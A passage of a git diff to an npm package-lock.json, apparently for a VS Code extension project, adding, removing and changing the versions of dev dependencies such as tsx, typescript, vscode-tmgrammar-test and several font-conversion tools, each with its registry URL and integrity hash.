"sha512-ZA6oR3T/pEyuqwMgAKT0/hAv8oAXckzbkmR0UkUosQ+Mc4RxGoJkRmwHgHufaenlyAgE1Mxgpdcrf75y6XcnDg==", - "dev": true, - "engines": { + "node_modules/sinon/node_modules/diff": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/diff/-/diff-7.0.0.tgz", + "integrity": "sha512-PJWHUb1RFevKCwaFA9RlG5tCd+FO5iRh9A8HEtkmBH2Li03iJriB6m6JIN4rGz3K3JLawI7/veA1xzRKP6ISBw==", + "dev": true, + "license": "BSD-3-Clause", + "engines": { + "node": ">=0.3.1" + } + }, + "node_modules/slash": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/slash/-/slash-5.1.0.tgz", + "integrity": "sha512-ZA6oR3T/pEyuqwMgAKT0/hAv8oAXckzbkmR0UkUosQ+Mc4RxGoJkRmwHgHufaenlyAgE1Mxgpdcrf75y6XcnDg==", + "dev": true, + "engines": { "node": ">=14.16" }, "funding": { @@ -9405,14 +9836,25 @@ "npm": ">= 3.0.0" } }, + "node_modules/snake-case": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/snake-case/-/snake-case-3.0.4.tgz", + "integrity": "sha512-LAOh4z89bGQvl9pFfNF8V146i7o7/CqFPbqzYgP+yYzDIDeS9HaNFtXABamRW+AQzEVODcvE79ljJ+8a9YSdMg==", + "dev": true, + "license": "MIT", + "dependencies": { + "dot-case": "^3.0.4", + "tslib": "^2.0.3" + } + }, "node_modules/socks": { - "version": "2.8.4", - "resolved": "https://registry.npmjs.org/socks/-/socks-2.8.4.tgz", - "integrity": "sha512-D3YaD0aRxR3mEcqnidIs7ReYJFVzWdd6fXJYUM8ixcQcJRGTka/b3saV0KflYhyVJXKhb947GndU35SxYNResQ==", + "version": "2.8.7", + "resolved": "https://registry.npmjs.org/socks/-/socks-2.8.7.tgz", + "integrity": "sha512-HLpt+uLy/pxB+bum/9DzAgiKS8CX1EvbWxI4zlmgGCExImLdiad2iCwXT5Z4c9c3Eq8rP2318mPW2c+QbtjK8A==", "dev": true, "license": "MIT", "dependencies": { - "ip-address": "^9.0.5", + "ip-address": "^10.0.1", "smart-buffer": "^4.2.0" }, "engines": { @@ -9506,15 +9948,15 @@ } }, "node_modules/spdx-license-ids": { - "version": "3.0.21", - "resolved": "https://registry.npmjs.org/spdx-license-ids/-/spdx-license-ids-3.0.21.tgz", - "integrity": "sha512-Bvg/8F5XephndSK3JffaRqdT+gyhfqIPwDHpX80tJrF8QQRYMo8sNMeaZ2Dp5+jhwKnUmIOyFFQfHRkjJm5nXg==", + "version": "3.0.22", + "resolved": "https://registry.npmjs.org/spdx-license-ids/-/spdx-license-ids-3.0.22.tgz", + "integrity": "sha512-4PRT4nh1EImPbt2jASOKHX7PB7I+e4IWNLvkKFDxNhJlfjbYlleYQh285Z/3mPTHSAK/AvdMmw5BNNuYH8ShgQ==", "dev": true }, "node_modules/sprintf-js": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.1.3.tgz", - "integrity": "sha512-Oo+0REFV59/rz3gfJNKQiBlwfHaSESl1pcGyABQsnnIfWOFt6JNj5gCog2U6MLZ//IGYD+nA8nI+mTShREReaA==", + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz", + "integrity": "sha512-D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g==", "dev": true, "license": "BSD-3-Clause" }, @@ -9544,6 +9986,16 @@ "node": ">=8" } }, + "node_modules/stack-trace": { + "version": "0.0.10", + "resolved": "https://registry.npmjs.org/stack-trace/-/stack-trace-0.0.10.tgz", + "integrity": "sha512-KGzahc7puUKkzyMt+IqAep+TVNbKP+k2Lmwhub39m1AsTSkaDutx56aDCo+HLDzf/D26BIHTJWNiTG1KAJiQCg==", + "dev": true, + "license": "MIT", + "engines": { + "node": "*" + } + }, "node_modules/stdin-discarder": { "version": "0.2.2", "resolved": "https://registry.npmjs.org/stdin-discarder/-/stdin-discarder-0.2.2.tgz", @@ -9652,6 +10104,16 @@ "node": ">=8" } }, + "node_modules/strip-bom": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/strip-bom/-/strip-bom-3.0.0.tgz", + "integrity": "sha512-vavAMRXOgBVNF6nyEEmL3DBK19iRpDcoIwW+swQ+CbGiu7lju6t+JklA1MHweoWtadgt4ISVUsXLyDq34ddcwA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=4" + } + }, "node_modules/strip-dirs": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/strip-dirs/-/strip-dirs-2.1.0.tgz", @@ -9696,16 +10158,19 @@ } }, "node_modules/supports-hyperlinks": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/supports-hyperlinks/-/supports-hyperlinks-2.3.0.tgz", - "integrity": "sha512-RpsAZlpWcDwOPQA22aCH4J0t7L8JmAvsCxfOSEwm7cQs3LshN36QaTkwd70DnBOXDWGssw2eUoc8CaRWT0XunA==", + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/supports-hyperlinks/-/supports-hyperlinks-3.2.0.tgz", + "integrity": "sha512-zFObLMyZeEwzAoKCyu1B91U79K2t7ApXuQfo8OuxwXLDgcKxuwM+YvcbIhm6QWqz7mHUH1TVytR1PwVVjEuMig==", "dev": true, "dependencies": { "has-flag": "^4.0.0", "supports-color": "^7.0.0" }, "engines": { - "node": ">=8" + "node": ">=14.18" + }, + "funding": { + "url": "https://github.com/chalk/supports-hyperlinks?sponsor=1" } }, "node_modules/svg-pathdata": { @@ -9748,48 +10213,41 @@ } }, "node_modules/svgicons2svgfont": { - "version": "12.0.0", - "resolved": "https://registry.npmjs.org/svgicons2svgfont/-/svgicons2svgfont-12.0.0.tgz", - "integrity": "sha512-fjyDkhiG0M1TPBtZzD12QV3yDcG2fUgiqHPOCYzf7hHE40Hl3GhnE6P1njsJCCByhwM7MiufyDW3L7IOR5dg9w==", + "version": "10.0.6", + "resolved": "https://registry.npmjs.org/svgicons2svgfont/-/svgicons2svgfont-10.0.6.tgz", + "integrity": "sha512-fUgQEVg3XwTbOHvlXahHGqCet5Wvfo1bV4DCvbSRvjsOCPCRunYbG4dUJCPegps37BMph3eOrfoobhH5AWuC6A==", "dev": true, "license": "MIT", "dependencies": { - "commander": "^9.3.0", - "glob": "^8.0.3", + "commander": "^7.2.0", + "geometry-interfaces": "^1.1.4", + "glob": "^7.1.6", + "neatequal": "^1.0.0", + "readable-stream": "^3.4.0", "sax": "^1.2.4", - "svg-pathdata": "^6.0.3" + "svg-pathdata": "^6.0.0" }, "bin": { "svgicons2svgfont": "bin/svgicons2svgfont.js" }, "engines": { - "node": ">=16.15.0" - } - }, - "node_modules/svgicons2svgfont/node_modules/brace-expansion": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.1.tgz", - "integrity": "sha512-XnAIvQ8eM+kC6aULx6wuQiwVsnzsi9d3WxzV3FpWTGA19F621kwdbsAcFKXgKUHZWsy+mY6iL1sHTxWEFCytDA==", - "dev": true, - "license": "MIT", - "dependencies": { - "balanced-match": "^1.0.0" + "node": ">=12.0.0" } }, "node_modules/svgicons2svgfont/node_modules/commander": { - "version": "9.5.0", - "resolved": "https://registry.npmjs.org/commander/-/commander-9.5.0.tgz", - "integrity": "sha512-KRs7WVDKg86PWiuAqhDrAQnTXZKraVcCc6vFdL14qrZ/DcWwuRo7VoiYXalXO7S5GKpqYiVEwCbgFDfxNHKJBQ==", + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-7.2.0.tgz", + "integrity": "sha512-QrWXB+ZQSVPmIWIhtEO9H+gwHaMGYiF5ChvoJ+K9ZGHG/sVsa6yiesAD1GC/x46sET00Xlwo1u49RVVVzvcSkw==", "dev": true, "license": "MIT", "engines": { - "node": "^12.20.0 || >=14" + "node": ">= 10" } }, "node_modules/svgicons2svgfont/node_modules/glob": { - "version": "8.1.0", - "resolved": "https://registry.npmjs.org/glob/-/glob-8.1.0.tgz", - "integrity": "sha512-r8hpEjiQEYlF2QU0df3dS+nxxSIreXQS1qRhMJM0Q5NDdR386C7jb7Hwwod8Fgiuex+k0GFjgft18yvxm5XoCQ==", + "version": "7.2.3", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", + "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", "deprecated": "Glob versions prior to v9 are no longer supported", "dev": true, "license": "ISC", @@ -9797,27 +10255,30 @@ "fs.realpath": "^1.0.0", "inflight": "^1.0.4", "inherits": "2", - "minimatch": "^5.0.1", - "once": "^1.3.0" + "minimatch": "^3.1.1", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" }, "engines": { - "node": ">=12" + "node": "*" }, "funding": { "url": "https://github.com/sponsors/isaacs" } }, - "node_modules/svgicons2svgfont/node_modules/minimatch": { - "version": "5.1.6", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-5.1.6.tgz", - "integrity": "sha512-lKwV/1brpG6mBUFHtb7NUmtABCb2WZZmm2wNiOA5hAb8VdCS4B3dtMWyvcoViccwAW/COERjXLt0zP1zXUN26g==", + "node_modules/svgicons2svgfont/node_modules/readable-stream": { + "version": "3.6.2", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz", + "integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==", "dev": true, - "license": "ISC", + "license": "MIT", "dependencies": { - "brace-expansion": "^2.0.1" + "inherits": "^2.0.3", + "string_decoder": "^1.1.1", + "util-deprecate": "^1.0.1" }, "engines": { - "node": ">=10" + "node": ">= 6" } }, "node_modules/svgo": { @@ -9994,12 +10455,16 @@ "dev": true }, "node_modules/tapable": { - "version": "2.2.1", - "resolved": "https://registry.npmjs.org/tapable/-/tapable-2.2.1.tgz", - "integrity": "sha512-GNzQvQTOIP6RyTfE2Qxb8ZVlNmw0n88vp1szwWRimP02mnTsx3Wtn5qRdqY9w2XduFNUgvOwhNnQsjwCp+kqaQ==", + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/tapable/-/tapable-2.3.0.tgz", + "integrity": "sha512-g9ljZiwki/LfxmQADO3dEY1CbpmXT5Hm2fJ+QaGKwSXUylMybePR7/67YW7jOrrvjEgL1Fmz5kzyAjWVWLlucg==", "dev": true, "engines": { "node": ">=6" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" } }, "node_modules/tar": { @@ -10021,11 +10486,10 @@ } }, "node_modules/tar-fs": { - "version": "2.1.3", - "resolved": "https://registry.npmjs.org/tar-fs/-/tar-fs-2.1.3.tgz", - "integrity": "sha512-090nwYJDmlhwFwEW3QQl+vaNnxsO2yVsd45eTKRBzSzu+hlb1w2K9inVq5b0ngXuLVqQ4ApvsUHHnu/zQNkWAg==", + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/tar-fs/-/tar-fs-2.1.4.tgz", + "integrity": "sha512-mDAjwmZdh7LTT6pNleZ05Yt65HC3E+NiQzl672vQG38jIrehtJk/J3mNwIg+vShQPcLF/LV7CMnDW6vjj6sfYQ==", "dev": true, - "license": "MIT", "optional": true, "dependencies": { "chownr": "^1.1.1", @@ -10087,21 +10551,83 @@ } }, "node_modules/terminal-link": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/terminal-link/-/terminal-link-2.1.1.tgz", - "integrity": "sha512-un0FmiRUQNr5PJqy9kP7c40F5BOfpGlYTrxonDChEZB7pzZxRNp/bt+ymiy9/npwXya9KH99nJ/GXFIiUkYGFQ==", + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/terminal-link/-/terminal-link-4.0.0.tgz", + "integrity": "sha512-lk+vH+MccxNqgVqSnkMVKx4VLJfnLjDBGzH16JVZjKE2DoxP57s6/vt6JmXV5I3jBcfGrxNrYtC+mPtU7WJztA==", "dev": true, "dependencies": { - "ansi-escapes": "^4.2.1", - "supports-hyperlinks": "^2.0.0" + "ansi-escapes": "^7.0.0", + "supports-hyperlinks": "^3.2.0" }, "engines": { - "node": ">=8" + "node": ">=18" }, "funding": { "url": "https://github.com/sponsors/sindresorhus" } }, + "node_modules/test-exclude": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/test-exclude/-/test-exclude-7.0.1.tgz", + "integrity": "sha512-pFYqmTw68LXVjeWJMST4+borgQP2AyMNbg1BpZh9LbyhUeNkeaPF9gzfPGUAnSMV3qPYdWUwDIjjCLiSDOl7vg==", + "dev": true, + "license": "ISC", + "dependencies": { + "@istanbuljs/schema": "^0.1.2", + "glob": "^10.4.1", + "minimatch": "^9.0.4" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/test-exclude/node_modules/brace-expansion": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.2.tgz", + "integrity": "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "balanced-match": "^1.0.0" + } + }, + "node_modules/test-exclude/node_modules/glob": { + "version": "10.4.5", + "resolved": "https://registry.npmjs.org/glob/-/glob-10.4.5.tgz", + "integrity": "sha512-7Bv8RF0k6xjo7d4A/PxYLbUCfb6c+Vpd2/mB2yRDlew7Jb5hEXiCD9ibfO7wpk8i4sevK6DFny9h7EYbM3/sHg==", + "dev": true, + "license": "ISC", + "dependencies": { + "foreground-child": "^3.1.0", + "jackspeak": "^3.1.2", + "minimatch": "^9.0.4", + "minipass": "^7.1.2", + "package-json-from-dist": "^1.0.0", + "path-scurry": "^1.11.1" + }, + "bin": { + "glob": "dist/esm/bin.mjs" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/test-exclude/node_modules/minimatch": { + "version": "9.0.5", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.5.tgz", + "integrity": "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==", + "dev": true, + "license": "ISC", + "dependencies": { + "brace-expansion": "^2.0.1" + }, + "engines": { + "node": ">=16 || 14 >=14.17" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, "node_modules/text-decoder": { "version": "1.2.3", "resolved": "https://registry.npmjs.org/text-decoder/-/text-decoder-1.2.3.tgz", @@ -10110,6 +10636,12 @@ "b4a": "^1.6.4" } }, + "node_modules/text-hex": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/text-hex/-/text-hex-1.0.0.tgz", + "integrity": "sha512-uuVGNWzgJ4yhRaNSiubPY7OjISw4sw4E5Uv0wbjp+OzcbmVU/rsT8ujgcXJhn9ypzsgr5vlzpPqP+MBBKcGvbg==", + "dev": true + }, "node_modules/text-table": { "version": "0.2.0", "resolved": "https://registry.npmjs.org/text-table/-/text-table-0.2.0.tgz", @@ -10153,11 +10685,10 @@ } }, "node_modules/tmp": { - "version": "0.2.3", - "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.2.3.tgz", - "integrity": "sha512-nZD7m9iCPC5g0pYmcaxogYKggSfLsdxl8of3Q/oIbqCqLLIO9IAF0GWjX1z9NZRHPiXv8Wex4yDCaZsgEw0Y8w==", + "version": "0.2.4", + "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.2.4.tgz", + "integrity": "sha512-UdiSoX6ypifLmrfQ/XfiawN6hkjSBpCjhKxxZcWlUUmoXLaCKQU0bx4HF/tdDK2uzRuchf1txGvrWBzYREssoQ==", "dev": true, - "license": "MIT", "engines": { "node": ">=14.14" } @@ -10180,6 +10711,16 @@ "node": ">=8.0" } }, + "node_modules/triple-beam": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/triple-beam/-/triple-beam-1.4.1.tgz", + "integrity": "sha512-aZbgViZrg1QNcG+LULa7nhZpJTZSLm/mXnHXnbAbjmN5aSa0y7V+wvv6+4WaBtpISJzThKy+PIPxc1Nq1EJ9mg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 14.0.0" + } + }, "node_modules/ts-api-utils": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/ts-api-utils/-/ts-api-utils-2.1.0.tgz", @@ -10193,6 +10734,21 @@ "typescript": ">=4.8.4" } }, + "node_modules/tsconfig-paths": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/tsconfig-paths/-/tsconfig-paths-4.2.0.tgz", + "integrity": "sha512-NoZ4roiN7LnbKn9QqE1amc9DJfzvZXxF4xDavcOWt1BPkdx+m+0gJuPM+S0vCe7zTJMYUP0R8pO2XMr+Y8oLIg==", + "dev": true, + "license": "MIT", + "dependencies": { + "json5": "^2.2.2", + "minimist": "^1.2.6", + "strip-bom": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, "node_modules/tslib": { "version": "2.6.2", "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.6.2.tgz", @@ -10200,11 +10756,10 @@ "dev": true }, "node_modules/tsx": { - "version": "4.20.3", - "resolved": "https://registry.npmjs.org/tsx/-/tsx-4.20.3.tgz", - "integrity": "sha512-qjbnuR9Tr+FJOMBqJCW5ehvIo/buZq7vH7qD7JziU98h6l3qGy0a/yPFjwO+y0/T7GFpNgNAvEcPPVfyT8rrPQ==", + "version": "4.20.6", + "resolved": "https://registry.npmjs.org/tsx/-/tsx-4.20.6.tgz", + "integrity": "sha512-ytQKuwgmrrkDTFP4LjR0ToE2nqgy886GpvRSpU0JAnrdBYppuY5rLkRUYPU1yCryb24SsKBTL/hlDQAEFVwtZg==", "dev": true, - "license": "MIT", "dependencies": { "esbuild": "~0.25.0", "get-tsconfig": "^4.7.5" @@ -10220,18 +10775,29 @@ } }, "node_modules/ttf2eot": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/ttf2eot/-/ttf2eot-3.1.0.tgz", - "integrity": "sha512-aHTbcYosNHVqb2Qtt9Xfta77ae/5y0VfdwNLUS6sGBeGr22cX2JDMo/i5h3uuOf+FAD3akYOr17+fYd5NK8aXw==", + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ttf2eot/-/ttf2eot-2.0.0.tgz", + "integrity": "sha512-U56aG2Ylw7psLOmakjemAzmpqVgeadwENg9oaDjaZG5NYX4WB6+7h74bNPcc+0BXsoU5A/XWiHabDXyzFOmsxQ==", "dev": true, "license": "MIT", "dependencies": { - "argparse": "^2.0.1" + "argparse": "^1.0.6", + "microbuffer": "^1.0.0" }, "bin": { "ttf2eot": "ttf2eot.js" } }, + "node_modules/ttf2eot/node_modules/argparse": { + "version": "1.0.10", + "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz", + "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==", + "dev": true, + "license": "MIT", + "dependencies": { + "sprintf-js": "~1.0.2" + } + }, "node_modules/ttf2woff": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/ttf2woff/-/ttf2woff-3.0.0.tgz", @@ -10247,9 +10813,9 @@ } }, "node_modules/ttf2woff2": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/ttf2woff2/-/ttf2woff2-5.0.0.tgz", - "integrity": "sha512-FplhShJd3rT8JGa8N04YWQuP7xRvwr9AIq+9/z5O/5ubqNiCADshKl8v51zJDFkhDVcYpdUqUpm7T4M53Z2JoQ==", + "version": "4.0.5", + "resolved": "https://registry.npmjs.org/ttf2woff2/-/ttf2woff2-4.0.5.tgz", + "integrity": "sha512-zpoU0NopfjoyVqkFeQ722SyKk/n607mm5OHxuDS/wCCSy82B8H3hHXrezftA2KMbKqfJIjie2lsJHdvPnBGbsw==", "dev": true, "hasInstallScript": true, "license": "MIT", @@ -10263,7 +10829,7 @@ "ttf2woff2": "bin/ttf2woff2.js" }, "engines": { - "node": ">=14" + "node": ">=12" } }, "node_modules/tunnel": { @@ -10341,11 +10907,10 @@ } }, "node_modules/typescript": { - "version": "5.8.3", - "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.8.3.tgz", - "integrity": "sha512-p1diW6TqL9L07nNxvRMM7hMMw4c5XOo/1ibL4aAIGmSAt9slTE1Xgw5KWuof2uTOvCg9BY7ZRi+GaF+7sfgPeQ==", + "version": "5.9.3", + "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.9.3.tgz", + "integrity": "sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw==", "dev": true, - "license": "Apache-2.0", "bin": { "tsc": "bin/tsc", "tsserver": "bin/tsserver" @@ -10392,6 +10957,19 @@ "integrity": "sha512-+A5Sja4HP1M08MaXya7p5LvjuM7K6q/2EaC0+iovj/wOcMsTzMvDFbasi/oSapiwOlt252IqsKqPjCl7huKS0A==", "dev": true }, + "node_modules/undici": { + "version": "5.29.0", + "resolved": "https://registry.npmjs.org/undici/-/undici-5.29.0.tgz", + "integrity": "sha512-raqeBD6NQK4SkWhQzeYKd1KmIG6dllBOTt55Rmkt4HtI9mwdWtJljnrXjAFUBLTSN67HWrOIZ3EPF4kjUw80Bg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@fastify/busboy": "^2.0.0" + }, + "engines": { + "node": ">=14.0" + } + }, "node_modules/undici-types": { "version": "6.21.0", "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-6.21.0.tgz", @@ -10465,6 +11043,26 @@ "node": ">= 10.0.0" } }, + "node_modules/upper-case": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/upper-case/-/upper-case-2.0.2.tgz", + "integrity": "sha512-KgdgDGJt2TpuwBUIjgG6lzw2GWFRCW9Qkfkiv0DxqHHLYJHmtmdUIKcZd8rHgFSjopVTlw6ggzCm1b8MFQwikg==", + "dev": true, + "license": "MIT", + "dependencies": { + "tslib": "^2.0.3" + } + }, + "node_modules/upper-case-first": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/upper-case-first/-/upper-case-first-2.0.2.tgz", + "integrity": "sha512-514ppYHBaKwfJRK/pNC6c/OxfGa0obSnAl106u97Ed0I625Nin96KAjttZF6ZL3e1XLtphxnqrOi9iWgm+u+bg==", + "dev": true, + "license": "MIT", + "dependencies": { + "tslib": "^2.0.3" + } + }, "node_modules/uri-js": { "version": "4.4.1", "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.4.1.tgz", @@ -10495,10 +11093,11 @@ } }, "node_modules/v8-to-istanbul": { - "version": "9.2.0", - "resolved": "https://registry.npmjs.org/v8-to-istanbul/-/v8-to-istanbul-9.2.0.tgz", - "integrity": "sha512-/EH/sDgxU2eGxajKdwLCDmQ4FWq+kpi3uCmBGpw1xJtnAxEjlD8j8PEiGWpCIMIs3ciNAgH0d3TTJiUkYzyZjA==", + "version": "9.3.0", + "resolved": "https://registry.npmjs.org/v8-to-istanbul/-/v8-to-istanbul-9.3.0.tgz", + "integrity": "sha512-kiGUalWN+rgBJ/1OHZsBtU4rXZOfj/7rKQxULKlIzwzQSvMJUUNgPwJEEh7gU6xEVxC0ahoOBvN2YI8GH6FNgA==", "dev": true, + "license": "ISC", "dependencies": { "@jridgewell/trace-mapping": "^0.3.12", "@types/istanbul-lib-coverage": "^2.0.1", @@ -10518,10 +11117,53 @@ "spdx-expression-parse": "^3.0.0" } }, + "node_modules/varstream": { + "version": "0.3.2", + "resolved": "https://registry.npmjs.org/varstream/-/varstream-0.3.2.tgz", + "integrity": "sha512-OpR3Usr9dGZZbDttlTxdviGdxiURI0prX68+DuaN/JfIDbK9ZOmREKM6PgmelsejMnhgjXmEEEgf+E4NbsSqMg==", + "dev": true, + "dependencies": { + "readable-stream": "^1.0.33" + }, + "bin": { + "json2varstream": "cli/json2varstream.js", + "varstream2json": "cli/varstream2json.js" + }, + "engines": { + "node": ">=0.10.*" + } + }, + "node_modules/varstream/node_modules/isarray": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-0.0.1.tgz", + "integrity": "sha512-D2S+3GLxWH+uhrNEcoh/fnmYeP8E8/zHl644d/jdA0g2uyXvy3sb0qxotE+ne0LtccHknQzWwZEzhak7oJ0COQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/varstream/node_modules/readable-stream": { + "version": "1.1.14", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-1.1.14.tgz", + "integrity": "sha512-+MeVjFf4L44XUkhM1eYbD8fyEsxcV81pqMSR5gblfcLCHfZvbrqy4/qYHE+/R5HoBUT11WV5O08Cr1n3YXkWVQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.1", + "isarray": "0.0.1", + "string_decoder": "~0.10.x" + } + }, + "node_modules/varstream/node_modules/string_decoder": { + "version": "0.10.31", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-0.10.31.tgz", + "integrity": "sha512-ev2QzSzWPYmy9GuqfIVildA4OdcGLeFZQrq5ys6RtiuF+RQQiZWr8TZNyAcuVXyQRYfEO+MsoB/1BuQVhOJuoQ==", + "dev": true, + "license": "MIT" + }, "node_modules/version-range": { - "version": "4.14.0", - "resolved": "https://registry.npmjs.org/version-range/-/version-range-4.14.0.tgz", - "integrity": "sha512-gjb0ARm9qlcBAonU4zPwkl9ecKkas+tC2CGwFfptTCWWIVTWY1YUbT2zZKsOAF1jR/tNxxyLwwG0cb42XlYcTg==", + "version": "4.15.0", + "resolved": "https://registry.npmjs.org/version-range/-/version-range-4.15.0.tgz", + "integrity": "sha512-Ck0EJbAGxHwprkzFO966t4/5QkRuzh+/I1RxhLgUKKwEn+Cd8NwM60mE3AqBZg5gYODoXW0EFsQvbZjRlvdqbg==", "dev": true, "engines": { "node": ">=4" @@ -10552,9 +11194,9 @@ } }, "node_modules/vscode-languageclient/node_modules/brace-expansion": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.1.tgz", - "integrity": "sha512-XnAIvQ8eM+kC6aULx6wuQiwVsnzsi9d3WxzV3FpWTGA19F621kwdbsAcFKXgKUHZWsy+mY6iL1sHTxWEFCytDA==", + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.2.tgz", + "integrity": "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==", "dependencies": { "balanced-match": "^1.0.0" } @@ -10584,21 +11226,175 @@ "resolved": "https://registry.npmjs.org/vscode-languageserver-types/-/vscode-languageserver-types-3.17.5.tgz", "integrity": "sha512-Ld1VelNuX9pdF39h2Hgaeb5hEZM2Z3jUrrMgWQAu82jMtZp7p3vJT3BzToKtZI7NgQssZje5o0zryOrhQvzQAg==" }, - "node_modules/which": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", - "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", + "node_modules/vscode-oniguruma": { + "version": "1.7.0", + "resolved": "https://registry.npmjs.org/vscode-oniguruma/-/vscode-oniguruma-1.7.0.tgz", + "integrity": "sha512-L9WMGRfrjOhgHSdOYgCt/yRMsXzLDJSL7BPrOZt73gU0iWO4mpqzqQzOz5srxqTvMBaR0XZTSrVWo4j55Rc6cA==", + "dev": true, + "license": "MIT" + }, + "node_modules/vscode-textmate": { + "version": "7.0.4", + "resolved": "https://registry.npmjs.org/vscode-textmate/-/vscode-textmate-7.0.4.tgz", + "integrity": "sha512-9hJp0xL7HW1Q5OgGe03NACo7yiCTMEk3WU/rtKXUbncLtdg6rVVNJnHwD88UhbIYU2KoxY0Dih0x+kIsmUKn2A==", + "dev": true, + "license": "MIT" + }, + "node_modules/vscode-tmgrammar-test": { + "version": "0.1.3", + "resolved": "https://registry.npmjs.org/vscode-tmgrammar-test/-/vscode-tmgrammar-test-0.1.3.tgz", + "integrity": "sha512-Wg6Pz+ePAT1O+F/A1Fc4wS5vY2X+HNtgN4qMdL+65NLQYd1/zdDWH4fhwsLjX8wTzeXkMy49Cr4ZqWTJ7VnVxg==", + "dev": true, + "license": "MIT", "dependencies": { - "isexe": "^2.0.0" + "bottleneck": "^2.19.5", + "chalk": "^2.4.2", + "commander": "^9.2.0", + "diff": "^4.0.2", + "glob": "^7.1.6", + "vscode-oniguruma": "^1.5.1", + "vscode-textmate": "^7.0.1" }, "bin": { - "node-which": "bin/node-which" - }, - "engines": { - "node": ">= 8" + "vscode-tmgrammar-snap": "dist/snapshot.js", + "vscode-tmgrammar-test": "dist/unit.js" } }, - "node_modules/wide-align": { + "node_modules/vscode-tmgrammar-test/node_modules/ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": 